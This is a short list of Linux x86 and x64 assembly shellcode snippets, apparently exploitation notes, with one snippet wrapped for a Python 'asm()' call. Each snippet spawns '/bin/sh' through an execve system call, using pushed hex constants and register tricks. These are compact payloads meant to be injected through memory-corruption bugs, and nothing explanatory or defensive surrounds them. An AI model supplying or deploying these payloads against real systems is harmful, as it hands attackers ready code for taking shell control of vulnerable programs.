shellcode= '''            
xor ecx,ecx               
mul ecx                   
mov al,0xb                
push 0x68732f             
push 0x6e69622f           
mov ebx,esp               
int 0x80                  
'''                       
shellcode=asm(shellcode)

xor ecx,ecx
mul ecx
push eax
mov al,0xb
push 0x68732f2f   
push 0x6e69622f   
mov ebx,esp
int 0x80

xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
mov al,0xB
int 0x80

xor rsi,rsi
mul esi
mov rbx,0x68732f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall

xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall

xor    rdi,rdi
xor    rsi,rsi
xor    rdx,rdx
xor    rax,rax
push   rax
mov rbx,0x68732f2f6e69622f
push   rbx
mov    rdi,rsp
mov    al,0x3b
syscall